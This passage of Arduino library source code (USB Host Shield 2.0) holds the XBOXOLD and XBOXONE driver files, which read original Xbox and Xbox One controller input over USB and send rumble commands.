XBOX_INPUT_PIPE ].epAddr = 0x01; // XBOX report endpoint epInfo[ XBOX_INPUT_PIPE ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ XBOX_INPUT_PIPE ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ XBOX_INPUT_PIPE ].maxPktSize = EP_MAXPKTSIZE; epInfo[ XBOX_INPUT_PIPE ].bmSndToggle = 0; epInfo[ XBOX_INPUT_PIPE ].bmRcvToggle = 0; epInfo[ XBOX_OUTPUT_PIPE ].epAddr = 0x02; // XBOX output endpoint epInfo[ XBOX_OUTPUT_PIPE ].epAttribs = USB_TRANSFER_TYPE_INTERRUPT; epInfo[ XBOX_OUTPUT_PIPE ].bmNakPower = USB_NAK_NOWAIT; // Only poll once for interrupt endpoints epInfo[ XBOX_OUTPUT_PIPE ].maxPktSize = EP_MAXPKTSIZE; epInfo[ XBOX_OUTPUT_PIPE ].bmSndToggle = 0; epInfo[ XBOX_OUTPUT_PIPE ].bmRcvToggle = 0; rcode = pUsb->setEpInfoEntry(bAddress, 3, epInfo); if(rcode) goto FailSetDevTblEntry; delay(200); // Give time for address change rcode = pUsb->setConf(bAddress, epInfo[ XBOX_CONTROL_PIPE ].epAddr, 1); if(rcode) goto FailSetConfDescr; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nXbox Controller Connected\r\n"), 0x80); #endif if(pFuncOnInit) pFuncOnInit(); // Call the user function XboxConnected = true; bPollEnable = true; return 0; // Successful configuration /* Diagnostic messages */ FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(); goto Fail; #endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); #endif goto Fail; FailUnknownDevice: #ifdef DEBUG_USB_HOST NotifyFailUnknownDevice(VID, PID); #endif rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; Fail: #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nXbox Init Failed, error code: "), 0x80); NotifyFail(rcode); #endif Release(); return rcode; } /* Performs a cleanup after failed Init() attempt */ uint8_t XBOXOLD::Release() { XboxConnected = false; pUsb->GetAddressPool().FreeAddress(bAddress); bAddress = 0; bPollEnable = false; return 0; } uint8_t XBOXOLD::Poll() { if(!bPollEnable) return 0; uint16_t BUFFER_SIZE = EP_MAXPKTSIZE; pUsb->inTransfer(bAddress, epInfo[ XBOX_INPUT_PIPE ].epAddr, &BUFFER_SIZE, readBuf); // input on endpoint 1 readReport(); #ifdef PRINTREPORT printReport(BUFFER_SIZE); // Uncomment "#define PRINTREPORT" to print the report send by the Xbox controller #endif return 0; } void XBOXOLD::readReport() { ButtonState = readBuf[2]; for(uint8_t i = 0; i < sizeof (buttonValues); i++) buttonValues[i] = readBuf[i + 4]; // A, B, X, Y, BLACK, WHITE, L1, and R1 hatValue[LeftHatX] = (int16_t)(((uint16_t)readBuf[12] << 8) | readBuf[13]); hatValue[LeftHatY] = (int16_t)(((uint16_t)readBuf[14] << 8) | readBuf[15]); hatValue[RightHatX] = (int16_t)(((uint16_t)readBuf[16] << 8) | readBuf[17]); hatValue[RightHatY] = (int16_t)(((uint16_t)readBuf[18] << 8) | readBuf[19]); //Notify(PSTR("\r\nButtonState"), 0x80); //PrintHex(ButtonState, 0x80); if(ButtonState != OldButtonState || memcmp(buttonValues, oldButtonValues, sizeof (buttonValues)) != 0) { ButtonClickState = ButtonState & ~OldButtonState; // Update click state variable OldButtonState = ButtonState; for(uint8_t i = 0; i < sizeof (buttonValues); i++) { if(oldButtonValues[i] == 0 && buttonValues[i] != 0) buttonClicked[i] = true; // Update A, B, X, Y, BLACK, WHITE, L1, and R1 click state oldButtonValues[i] = buttonValues[i]; } } } void XBOXOLD::printReport(uint16_t length __attribute__((unused))) { //Uncomment "#define PRINTREPORT" to print the report send by the Xbox controller #ifdef PRINTREPORT if(readBuf == NULL) return; for(uint8_t i = 0; i < length; i++) { D_PrintHex (readBuf[i], 0x80); Notify(PSTR(" "), 0x80); } Notify(PSTR("\r\n"), 0x80); #endif } uint8_t XBOXOLD::getButtonPress(ButtonEnum b) { uint8_t button = pgm_read_byte(&XBOXOLD_BUTTONS[(uint8_t)b]); if(b == A || b == B || b == X || b == Y || b == BLACK || b == WHITE || b == L1 || b == R1) // A, B, X, Y, BLACK, WHITE, L1, and R1 are analog buttons return buttonValues[button]; // Analog buttons return (ButtonState & button); // Digital buttons } bool XBOXOLD::getButtonClick(ButtonEnum b) { uint8_t button = pgm_read_byte(&XBOXOLD_BUTTONS[(uint8_t)b]); if(b == A || b == B || b == X || b == Y || b == BLACK || b == WHITE || b == L1 || b == R1) { // A, B, X, Y, BLACK, WHITE, L1, and R1 are analog buttons if(buttonClicked[button]) { buttonClicked[button] = false; return true; } return false; } bool click = (ButtonClickState & button); ButtonClickState &= ~button; // clear "click" event return click; } int16_t XBOXOLD::getAnalogHat(AnalogHatEnum a) { return hatValue[a]; } /* Xbox Controller commands */ void XBOXOLD::XboxCommand(uint8_t* data, uint16_t nbytes) { //bmRequest = Host to device (0x00) | Class (0x20) | Interface (0x01) = 0x21, bRequest = Set Report (0x09), Report ID (0x00), Report Type (Output 0x02), interface (0x00), datalength, datalength, data) pUsb->ctrlReq(bAddress, epInfo[XBOX_CONTROL_PIPE].epAddr, bmREQ_HID_OUT, HID_REQUEST_SET_REPORT, 0x00, 0x02, 0x00, nbytes, nbytes, data, NULL); } void XBOXOLD::setRumbleOn(uint8_t lValue, uint8_t rValue) { uint8_t writeBuf[6]; writeBuf[0] = 0x00; writeBuf[1] = 0x06; writeBuf[2] = 0x00; writeBuf[3] = rValue; // small weight writeBuf[4] = 0x00; writeBuf[5] = lValue; // big weight XboxCommand(writeBuf, 6); } ================================================ FILE: libraries/USB_Host_Shield_2.0/XBOXOLD.h ================================================ /* Copyright (C) 2013 Kristian Lauszus, TKJ Electronics. All rights reserved. This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com */ #ifndef _xboxold_h_ #define _xboxold_h_ #include "Usb.h" #include "usbhid.h" #include "controllerEnums.h" /* Data Xbox taken from descriptors */ #define EP_MAXPKTSIZE 32 // Max size for data via USB /* Names we give to the 3 Xbox pipes */ #define XBOX_CONTROL_PIPE 0 #define XBOX_INPUT_PIPE 1 #define XBOX_OUTPUT_PIPE 2 // PID and VID of the different devices #define XBOX_VID 0x045E // Microsoft Corporation #define MADCATZ_VID 0x1BAD // For unofficial Mad Catz controllers #define JOYTECH_VID 0x162E // For unofficial Joytech controllers #define XBOX_OLD_PID1 0x0202 // Original Microsoft Xbox controller (US) #define XBOX_OLD_PID2 0x0285 // Original Microsoft Xbox controller (Japan) #define XBOX_OLD_PID3 0x0287 // Microsoft Microsoft Xbox Controller S #define XBOX_OLD_PID4 0x0289 // Smaller Microsoft Xbox controller (US) #define XBOX_MAX_ENDPOINTS 3 /** This class implements support for a the original Xbox controller via USB. */ class XBOXOLD : public USBDeviceConfig { public: /** * Constructor for the XBOXOLD class. * @param pUsb Pointer to USB class instance. */ XBOXOLD(USB *pUsb); /** @name USBDeviceConfig implementation */ /** * Initialize the Xbox Controller. * @param parent Hub number. * @param port Port number on the hub. * @param lowspeed Speed of the device. * @return 0 on success. */ uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); /** * Release the USB device. * @return 0 on success. */ uint8_t Release(); /** * Poll the USB Input endpoins and run the state machines. * @return 0 on success. */ uint8_t Poll(); /** * Get the device address. * @return The device address. */ virtual uint8_t GetAddress() { return bAddress; }; /** * Used to check if the controller has been initialized. * @return True if it's ready. */ virtual bool isReady() { return bPollEnable; }; /** * Used by the USB core to check what this driver support. * @param vid The device's VID. * @param pid The device's PID. * @return Returns true if the device's VID and PID matches this driver. */ virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) { return ((vid == XBOX_VID || vid == MADCATZ_VID || vid == JOYTECH_VID) && (pid == XBOX_OLD_PID1 || pid == XBOX_OLD_PID2 || pid == XBOX_OLD_PID3 || pid == XBOX_OLD_PID4)); }; /**@}*/ /** @name Xbox Controller functions */ /** * getButtonPress(ButtonEnum b) will return true as long as the button is held down. * * While getButtonClick(ButtonEnum b) will only return it once. * * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b), * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b). * @param b ::ButtonEnum to read. * @return getButtonClick(ButtonEnum b) will return a bool, while getButtonPress(ButtonEnum b) will return a byte if reading ::L2 or ::R2. */ uint8_t getButtonPress(ButtonEnum b); bool getButtonClick(ButtonEnum b); /**@}*/ /** @name Xbox Controller functions */ /** * Return the analog value from the joysticks on the controller. * @param a Either ::LeftHatX, ::LeftHatY, ::RightHatX or ::RightHatY. * @return Returns a signed 16-bit integer. */ int16_t getAnalogHat(AnalogHatEnum a); /** Turn rumble off the controller. */ void setRumbleOff() { setRumbleOn(0, 0); }; /** * Turn rumble on. * @param lValue Left motor (big weight) inside the controller. * @param rValue Right motor (small weight) inside the controller. */ void setRumbleOn(uint8_t lValue, uint8_t rValue); /** * Used to call your own function when the controller is successfully initialized. * @param funcOnInit Function to call. */ void attachOnInit(void (*funcOnInit)(void)) { pFuncOnInit = funcOnInit; }; /**@}*/ /** True if a Xbox controller is connected. */ bool XboxConnected; protected: /** Pointer to USB class instance. */ USB *pUsb; /** Device address. */ uint8_t bAddress; /** Endpoint info structure. */ EpInfo epInfo[XBOX_MAX_ENDPOINTS]; private: /** * Called when the controller is successfully initialized. * Use attachOnInit(void (*funcOnInit)(void)) to call your own function. * This is useful for instance if you want to set the LEDs in a specific way. */ void (*pFuncOnInit)(void); // Pointer to function called in onInit() bool bPollEnable; /* Variables to store the digital buttons */ uint8_t ButtonState; uint8_t OldButtonState; uint8_t ButtonClickState; /* Variables to store the analog buttons */ uint8_t buttonValues[8]; // A, B, X, Y, BLACK, WHITE, L1, and R1 uint8_t oldButtonValues[8]; bool buttonClicked[8]; int16_t hatValue[4]; // Joystick values uint8_t readBuf[EP_MAXPKTSIZE]; // General purpose buffer for input data void readReport(); // Read incoming data void printReport(uint16_t length); // Print incoming date /* Private commands */ void XboxCommand(uint8_t* data, uint16_t nbytes); }; #endif ================================================ FILE: libraries/USB_Host_Shield_2.0/XBOXONE.cpp ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. Copyright (C) 2015 guruthree This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com guruthree Web : https://github.com/guruthree/ */ #include "XBOXONE.h" // To enable serial debugging see "settings.h" //#define EXTRADEBUG // Uncomment to get even more debugging data //#define PRINTREPORT // Uncomment to print the report send by the Xbox ONE Controller XBOXONE::XBOXONE(USB *p) : pUsb(p), // pointer to USB class instance - mandatory bAddress(0), // device address - mandatory bNumEP(1), // If config descriptor needs to be parsed qNextPollTime(0), // Reset NextPollTime pollInterval(0), bPollEnable(false) { // don't start polling before dongle is connected for(uint8_t i = 0; i < XBOX_ONE_MAX_ENDPOINTS; i++) { epInfo[i].epAddr = 0; epInfo[i].maxPktSize = (i) ? 0 : 8; epInfo[i].bmSndToggle = 0; epInfo[i].bmRcvToggle = 0; epInfo[i].bmNakPower = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER; } if(pUsb) // register in USB subsystem pUsb->RegisterDeviceClass(this); //set devConfig[] entry } uint8_t XBOXONE::Init(uint8_t parent, uint8_t port, bool lowspeed) { uint8_t buf[sizeof (USB_DEVICE_DESCRIPTOR)]; USB_DEVICE_DESCRIPTOR * udd = reinterpret_cast(buf); uint8_t rcode; UsbDevice *p = NULL; EpInfo *oldep_ptr = NULL; uint16_t PID, VID; uint8_t num_of_conf; // Number of configurations // get memory address of USB device address pool AddressPool &addrPool = pUsb->GetAddressPool(); #ifdef EXTRADEBUG Notify(PSTR("\r\nXBOXONE Init"), 0x80); #endif // check if address has already been assigned to an instance if(bAddress) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress in use"), 0x80); #endif return USB_ERROR_CLASS_INSTANCE_ALREADY_IN_USE; } // Get pointer to pseudo device with address 0 assigned p = addrPool.GetUsbDevicePtr(0); if(!p) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nAddress not found"), 0x80); #endif return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; } if(!p->epinfo) { #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nepinfo is null"), 0x80); #endif return USB_ERROR_EPINFO_IS_NULL; } // Save old pointer to EP_RECORD of address 0 oldep_ptr = p->epinfo; // Temporary assign new pointer to epInfo to p->epinfo in order to avoid toggle inconsistence p->epinfo = epInfo; p->lowspeed = lowspeed; // Get device descriptor rcode = pUsb->getDevDescr(0, 0, sizeof (USB_DEVICE_DESCRIPTOR), (uint8_t*)buf); // Get device descriptor - addr, ep, nbytes, data // Restore p->epinfo p->epinfo = oldep_ptr; if(rcode) goto FailGetDevDescr; VID = udd->idVendor; PID = udd->idProduct; if(!VIDPIDOK(VID, PID)) // Check VID goto FailUnknownDevice; // Allocate new address according to device class bAddress = addrPool.AllocAddress(parent, false, port); if(!bAddress) return USB_ERROR_OUT_OF_ADDRESS_SPACE_IN_POOL; // Extract Max Packet Size from device descriptor epInfo[0].maxPktSize = udd->bMaxPacketSize0; // Assign new address to the device rcode = pUsb->setAddr(0, 0, bAddress); if(rcode) { p->lowspeed = false; addrPool.FreeAddress(bAddress); bAddress = 0; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nsetAddr: "), 0x80); D_PrintHex (rcode, 0x80); #endif return rcode; } #ifdef EXTRADEBUG Notify(PSTR("\r\nAddr: "), 0x80); D_PrintHex (bAddress, 0x80); #endif //delay(300); // Spec says you should wait at least 200ms p->lowspeed = false; //get pointer to assigned address record p = addrPool.GetUsbDevicePtr(bAddress); if(!p) return USB_ERROR_ADDRESS_NOT_FOUND_IN_POOL; p->lowspeed = lowspeed; // Assign epInfo to epinfo pointer - only EP0 is known rcode = pUsb->setEpInfoEntry(bAddress, 1, epInfo); if(rcode) goto FailSetDevTblEntry; num_of_conf = udd->bNumConfigurations; // Number of configurations USBTRACE2("NC:", num_of_conf); // Check if attached device is a Xbox One controller and fill endpoint data structure for(uint8_t i = 0; i < num_of_conf; i++) { ConfigDescParser<0, 0, 0, 0> confDescrParser(this); // Allow all devices, as we have already verified that it is a Xbox One controller from the VID and PID rcode = pUsb->getConfDescr(bAddress, 0, i, &confDescrParser); if(rcode) // Check error code goto FailGetConfDescr; if(bNumEP >= XBOX_ONE_MAX_ENDPOINTS) // All endpoints extracted break; } if(bNumEP < XBOX_ONE_MAX_ENDPOINTS) goto FailUnknownDevice; rcode = pUsb->setEpInfoEntry(bAddress, bNumEP, epInfo); if(rcode) goto FailSetDevTblEntry; delay(200); // Give time for address change rcode = pUsb->setConf(bAddress, epInfo[ XBOX_ONE_CONTROL_PIPE ].epAddr, bConfNum); if(rcode) goto FailSetConfDescr; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nXbox One Controller Connected\r\n"), 0x80); #endif delay(200); // let things settle // Initialize the controller for input cmdCounter = 0; // Reset the counter used when sending out the commands uint8_t writeBuf[5]; writeBuf[0] = 0x05; writeBuf[1] = 0x20; // Byte 2 is set in "XboxCommand" writeBuf[3] = 0x01; writeBuf[4] = 0x00; rcode = XboxCommand(writeBuf, 5); if (rcode) goto Fail; onInit(); XboxOneConnected = true; bPollEnable = true; return 0; // Successful configuration /* Diagnostic messages */ FailGetDevDescr: #ifdef DEBUG_USB_HOST NotifyFailGetDevDescr(); goto Fail; #endif FailSetDevTblEntry: #ifdef DEBUG_USB_HOST NotifyFailSetDevTblEntry(); goto Fail; #endif FailGetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailGetConfDescr(); goto Fail; #endif FailSetConfDescr: #ifdef DEBUG_USB_HOST NotifyFailSetConfDescr(); #endif goto Fail; FailUnknownDevice: #ifdef DEBUG_USB_HOST NotifyFailUnknownDevice(VID, PID); #endif rcode = USB_DEV_CONFIG_ERROR_DEVICE_NOT_SUPPORTED; Fail: #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nXbox One Init Failed, error code: "), 0x80); NotifyFail(rcode); #endif Release(); return rcode; } /* Extracts endpoint information from config descriptor */ void XBOXONE::EndpointXtract(uint8_t conf, uint8_t iface, uint8_t alt, uint8_t proto, const USB_ENDPOINT_DESCRIPTOR *pep) { bConfNum = conf; uint8_t index; if((pep->bmAttributes & bmUSB_TRANSFER_TYPE) == USB_TRANSFER_TYPE_INTERRUPT) { // Interrupt endpoint index = (pep->bEndpointAddress & 0x80) == 0x80 ? XBOX_ONE_INPUT_PIPE : XBOX_ONE_OUTPUT_PIPE; // Set the endpoint index } else return; // Fill the rest of endpoint data structure epInfo[index].epAddr = (pep->bEndpointAddress & 0x0F); epInfo[index].maxPktSize = (uint8_t)pep->wMaxPacketSize; #ifdef EXTRADEBUG PrintEndpointDescriptor(pep); #endif if(pollInterval < pep->bInterval) // Set the polling interval as the largest polling interval obtained from endpoints pollInterval = pep->bInterval; bNumEP++; } void XBOXONE::PrintEndpointDescriptor(const USB_ENDPOINT_DESCRIPTOR* ep_ptr) { #ifdef EXTRADEBUG Notify(PSTR("\r\nEndpoint descriptor:"), 0x80); Notify(PSTR("\r\nLength:\t\t"), 0x80); D_PrintHex (ep_ptr->bLength, 0x80); Notify(PSTR("\r\nType:\t\t"), 0x80); D_PrintHex (ep_ptr->bDescriptorType, 0x80); Notify(PSTR("\r\nAddress:\t"), 0x80); D_PrintHex (ep_ptr->bEndpointAddress, 0x80); Notify(PSTR("\r\nAttributes:\t"), 0x80); D_PrintHex (ep_ptr->bmAttributes, 0x80); Notify(PSTR("\r\nMaxPktSize:\t"), 0x80); D_PrintHex (ep_ptr->wMaxPacketSize, 0x80); Notify(PSTR("\r\nPoll Intrv:\t"), 0x80); D_PrintHex (ep_ptr->bInterval, 0x80); #endif } /* Performs a cleanup after failed Init() attempt */ uint8_t XBOXONE::Release() { XboxOneConnected = false; pUsb->GetAddressPool().FreeAddress(bAddress); bAddress = 0; // Clear device address bNumEP = 1; // Must have to be reset to 1 qNextPollTime = 0; // Reset next poll time pollInterval = 0; bPollEnable = false; #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nXbox One Controller Disconnected\r\n"), 0x80); #endif return 0; } uint8_t XBOXONE::Poll() { uint8_t rcode = 0; if(!bPollEnable) return 0; if((int32_t)((uint32_t)millis() - qNextPollTime) >= 0L) { // Do not poll if shorter than polling interval qNextPollTime = (uint32_t)millis() + pollInterval; // Set new poll time uint16_t length = (uint16_t)epInfo[ XBOX_ONE_INPUT_PIPE ].maxPktSize; // Read the maximum packet size from the endpoint uint8_t rcode = pUsb->inTransfer(bAddress, epInfo[ XBOX_ONE_INPUT_PIPE ].epAddr, &length, readBuf, pollInterval); if(!rcode) { readReport(); #ifdef PRINTREPORT // Uncomment "#define PRINTREPORT" to print the report send by the Xbox ONE Controller for(uint8_t i = 0; i < length; i++) { D_PrintHex (readBuf[i], 0x80); Notify(PSTR(" "), 0x80); } Notify(PSTR("\r\n"), 0x80); #endif } #ifdef DEBUG_USB_HOST else if(rcode != hrNAK) { // Not a matter of no update to send Notify(PSTR("\r\nXbox One Poll Failed, error code: "), 0x80); NotifyFail(rcode); } #endif } return rcode; } void XBOXONE::readReport() { if(readBuf[0] == 0x07) { // The XBOX button has a separate message if(readBuf[4] == 1) ButtonState |= pgm_read_word(&XBOX_BUTTONS[XBOX]); else ButtonState &= ~pgm_read_word(&XBOX_BUTTONS[XBOX]); if(ButtonState != OldButtonState) { ButtonClickState = ButtonState & ~OldButtonState; // Update click state variable OldButtonState = ButtonState; } } if(readBuf[0] != 0x20) { // Check if it's the correct report, otherwise return - the controller also sends different status reports #ifdef EXTRADEBUG Notify(PSTR("\r\nXbox Poll: "), 0x80); D_PrintHex (readBuf[0], 0x80); // 0x03 is a heart beat report! #endif return; } uint16_t xbox = ButtonState & pgm_read_word(&XBOX_BUTTONS[XBOX]); // Since the XBOX button is separate, save it and add it back in // xbox button from before, dpad, abxy, start/back, sync, stick click, shoulder buttons ButtonState = xbox | (((uint16_t)readBuf[5] & 0xF) << 8) | (readBuf[4] & 0xF0) | (((uint16_t)readBuf[4] & 0x0C) << 10) | ((readBuf[4] & 0x01) << 3) | (((uint16_t)readBuf[5] & 0xC0) << 8) | ((readBuf[5] & 0x30) >> 4); triggerValue[0] = (uint16_t)(((uint16_t)readBuf[7] << 8) | readBuf[6]); triggerValue[1] = (uint16_t)(((uint16_t)readBuf[9] << 8) | readBuf[8]); hatValue[LeftHatX] = (int16_t)(((uint16_t)readBuf[11] << 8) | readBuf[10]); hatValue[LeftHatY] = (int16_t)(((uint16_t)readBuf[13] << 8) | readBuf[12]); hatValue[RightHatX] = (int16_t)(((uint16_t)readBuf[15] << 8) | readBuf[14]); hatValue[RightHatY] = (int16_t)(((uint16_t)readBuf[17] << 8) | readBuf[16]); //Notify(PSTR("\r\nButtonState"), 0x80); //PrintHex(ButtonState, 0x80); if(ButtonState != OldButtonState) { ButtonClickState = ButtonState & ~OldButtonState; // Update click state variable OldButtonState = ButtonState; } // Handle click detection for triggers if(triggerValue[0] != 0 && triggerValueOld[0] == 0) L2Clicked = true; triggerValueOld[0] = triggerValue[0]; if(triggerValue[1] != 0 && triggerValueOld[1] == 0) R2Clicked = true; triggerValueOld[1] = triggerValue[1]; } uint16_t XBOXONE::getButtonPress(ButtonEnum b) { if(b == L2) // These are analog buttons return triggerValue[0]; else if(b == R2) return triggerValue[1]; return (bool)(ButtonState & ((uint16_t)pgm_read_word(&XBOX_BUTTONS[(uint8_t)b]))); } bool XBOXONE::getButtonClick(ButtonEnum b) { if(b == L2) { if(L2Clicked) { L2Clicked = false; return true; } return false; } else if(b == R2) { if(R2Clicked) { R2Clicked = false; return true; } return false; } uint16_t button = pgm_read_word(&XBOX_BUTTONS[(uint8_t)b]); bool click = (ButtonClickState & button); ButtonClickState &= ~button; // Clear "click" event return click; } int16_t XBOXONE::getAnalogHat(AnalogHatEnum a) { return hatValue[a]; } /* Xbox Controller commands */ uint8_t XBOXONE::XboxCommand(uint8_t* data, uint16_t nbytes) { data[2] = cmdCounter++; // Increment the output command counter uint8_t rcode = pUsb->outTransfer(bAddress, epInfo[ XBOX_ONE_OUTPUT_PIPE ].epAddr, nbytes, data); #ifdef DEBUG_USB_HOST Notify(PSTR("\r\nXboxCommand, Return: "), 0x80); D_PrintHex (rcode, 0x80); #endif return rcode; } // The Xbox One packets are described at: https://github.com/quantus/xbox-one-controller-protocol void XBOXONE::onInit() { // A short buzz to show the controller is active uint8_t writeBuf[13]; // Activate rumble writeBuf[0] = 0x09; writeBuf[1] = 0x00; // Byte 2 is set in "XboxCommand" // Single rumble effect writeBuf[3] = 0x09; // Substructure (what substructure rest of this packet has) writeBuf[4] = 0x00; // Mode writeBuf[5] = 0x0F; // Rumble mask (what motors are activated) (0000 lT rT L R) writeBuf[6] = 0x04; // lT force writeBuf[7] = 0x04; // rT force writeBuf[8] = 0x20; // L force writeBuf[9] = 0x20; // R force writeBuf[10] = 0x80; // Length of pulse writeBuf[11] = 0x00; // Off period writeBuf[12] = 0x00; // Repeat count XboxCommand(writeBuf, 13); if(pFuncOnInit) pFuncOnInit(); // Call the user function } void XBOXONE::setRumbleOff() { uint8_t writeBuf[13]; // Activate rumble writeBuf[0] = 0x09; writeBuf[1] = 0x00; // Byte 2 is set in "XboxCommand" // Continuous rumble effect writeBuf[3] = 0x09; // Substructure (what substructure rest of this packet has) writeBuf[4] = 0x00; // Mode writeBuf[5] = 0x0F; // Rumble mask (what motors are activated) (0000 lT rT L R) writeBuf[6] = 0x00; // lT force writeBuf[7] = 0x00; // rT force writeBuf[8] = 0x00; // L force writeBuf[9] = 0x00; // R force writeBuf[10] = 0x00; // On period writeBuf[11] = 0x00; // Off period writeBuf[12] = 0x00; // Repeat count XboxCommand(writeBuf, 13); } void XBOXONE::setRumbleOn(uint8_t leftTrigger, uint8_t rightTrigger, uint8_t leftMotor, uint8_t rightMotor) { uint8_t writeBuf[13]; // Activate rumble writeBuf[0] = 0x09; writeBuf[1] = 0x00; // Byte 2 is set in "XboxCommand" // Continuous rumble effect writeBuf[3] = 0x09; // Substructure (what substructure rest of this packet has) writeBuf[4] = 0x00; // Mode writeBuf[5] = 0x0F; // Rumble mask (what motors are activated) (0000 lT rT L R) writeBuf[6] = leftTrigger; // lT force writeBuf[7] = rightTrigger; // rT force writeBuf[8] = leftMotor; // L force writeBuf[9] = rightMotor; // R force writeBuf[10] = 0xFF; // On period writeBuf[11] = 0x00; // Off period writeBuf[12] = 0xFF; // Repeat count XboxCommand(writeBuf, 13); } ================================================ FILE: libraries/USB_Host_Shield_2.0/XBOXONE.h ================================================ /* Copyright (C) 2012 Kristian Lauszus, TKJ Electronics. All rights reserved. Copyright (C) 2015 guruthree This software may be distributed and modified under the terms of the GNU General Public License version 2 (GPL2) as published by the Free Software Foundation and appearing in the file GPL2.TXT included in the packaging of this file. Please note that GPL2 Section 2[b] requires that all works based on this software must also be made publicly available under the terms of the GPL2 ("Copyleft"). Contact information ------------------- Kristian Lauszus, TKJ Electronics Web : http://www.tkjelectronics.com e-mail : kristianl@tkjelectronics.com guruthree Web : https://github.com/guruthree/ */ #ifndef _xboxone_h_ #define _xboxone_h_ #include "Usb.h" #include "xboxEnums.h" /* Xbox One data taken from descriptors */ #define XBOX_ONE_EP_MAXPKTSIZE 64 // Max size for data via USB /* Names we give to the 3 XboxONE pipes */ #define XBOX_ONE_CONTROL_PIPE 0 #define XBOX_ONE_OUTPUT_PIPE 1 #define XBOX_ONE_INPUT_PIPE 2 #define XBOX_ONE_MAX_ENDPOINTS 3 // PID and VID of the different versions of the controller - see: https://github.com/torvalds/linux/blob/master/drivers/input/joystick/xpad.c // Official controllers #define XBOX_VID1 0x045E // Microsoft Corporation #define XBOX_ONE_PID1 0x02D1 // Microsoft X-Box One pad #define XBOX_ONE_PID2 0x02DD // Microsoft X-Box One pad (Firmware 2015) #define XBOX_ONE_PID3 0x02E3 // Microsoft X-Box One Elite pad #define XBOX_ONE_PID4 0x02EA // Microsoft X-Box One S pad // Unofficial controllers #define XBOX_VID2 0x0738 // Mad Catz #define XBOX_VID3 0x0E6F // Afterglow #define XBOX_VID4 0x0F0D // HORIPAD ONE #define XBOX_VID5 0x1532 // Razer #define XBOX_VID6 0x24C6 // PowerA #define XBOX_ONE_PID5 0x4A01 // Mad Catz FightStick TE 2 - might have different mapping for triggers? #define XBOX_ONE_PID6 0x0139 // Afterglow Prismatic Wired Controller #define XBOX_ONE_PID7 0x0146 // Rock Candy Wired Controller for Xbox One #define XBOX_ONE_PID8 0x0067 // HORIPAD ONE #define XBOX_ONE_PID9 0x0A03 // Razer Wildcat #define XBOX_ONE_PID10 0x541A // PowerA Xbox One Mini Wired Controller #define XBOX_ONE_PID11 0x542A // Xbox ONE spectra #define XBOX_ONE_PID12 0x543A // PowerA Xbox One wired controller /** This class implements support for a Xbox ONE controller connected via USB. */ class XBOXONE : public USBDeviceConfig, public UsbConfigXtracter { public: /** * Constructor for the XBOXONE class. * @param pUsb Pointer to USB class instance. */ XBOXONE(USB *pUsb); /** @name USBDeviceConfig implementation */ /** * Initialize the Xbox Controller. * @param parent Hub number. * @param port Port number on the hub. * @param lowspeed Speed of the device. * @return 0 on success. */ virtual uint8_t Init(uint8_t parent, uint8_t port, bool lowspeed); /** * Release the USB device. * @return 0 on success. */ virtual uint8_t Release(); /** * Poll the USB Input endpoins and run the state machines. * @return 0 on success. */ virtual uint8_t Poll(); /** * Get the device address. * @return The device address. */ virtual uint8_t GetAddress() { return bAddress; }; /** * Used to check if the controller has been initialized. * @return True if it's ready. */ virtual bool isReady() { return bPollEnable; }; /** * Read the poll interval taken from the endpoint descriptors. * @return The poll interval in ms. */ uint8_t readPollInterval() { return pollInterval; }; /** * Used by the USB core to check what this driver support. * @param vid The device's VID. * @param pid The device's PID. * @return Returns true if the device's VID and PID matches this driver. */ virtual bool VIDPIDOK(uint16_t vid, uint16_t pid) { return ((vid == XBOX_VID1 || vid == XBOX_VID2 || vid == XBOX_VID3 || vid == XBOX_VID4 || vid == XBOX_VID5 || vid == XBOX_VID6) && (pid == XBOX_ONE_PID1 || pid == XBOX_ONE_PID2 || pid == XBOX_ONE_PID3 || pid == XBOX_ONE_PID4 || pid == XBOX_ONE_PID5 || pid == XBOX_ONE_PID6 || pid == XBOX_ONE_PID7 || pid == XBOX_ONE_PID8 || pid == XBOX_ONE_PID9 || pid == XBOX_ONE_PID10 || pid == XBOX_ONE_PID11 || pid == XBOX_ONE_PID12)); }; /**@}*/ /** @name Xbox Controller functions */ /** * getButtonPress(ButtonEnum b) will return true as long as the button is held down. * * While getButtonClick(ButtonEnum b) will only return it once. * * So you instance if you need to increase a variable once you would use getButtonClick(ButtonEnum b), * but if you need to drive a robot forward you would use getButtonPress(ButtonEnum b). * @param b ::ButtonEnum to read. * @return getButtonClick(ButtonEnum b) will return a bool, while 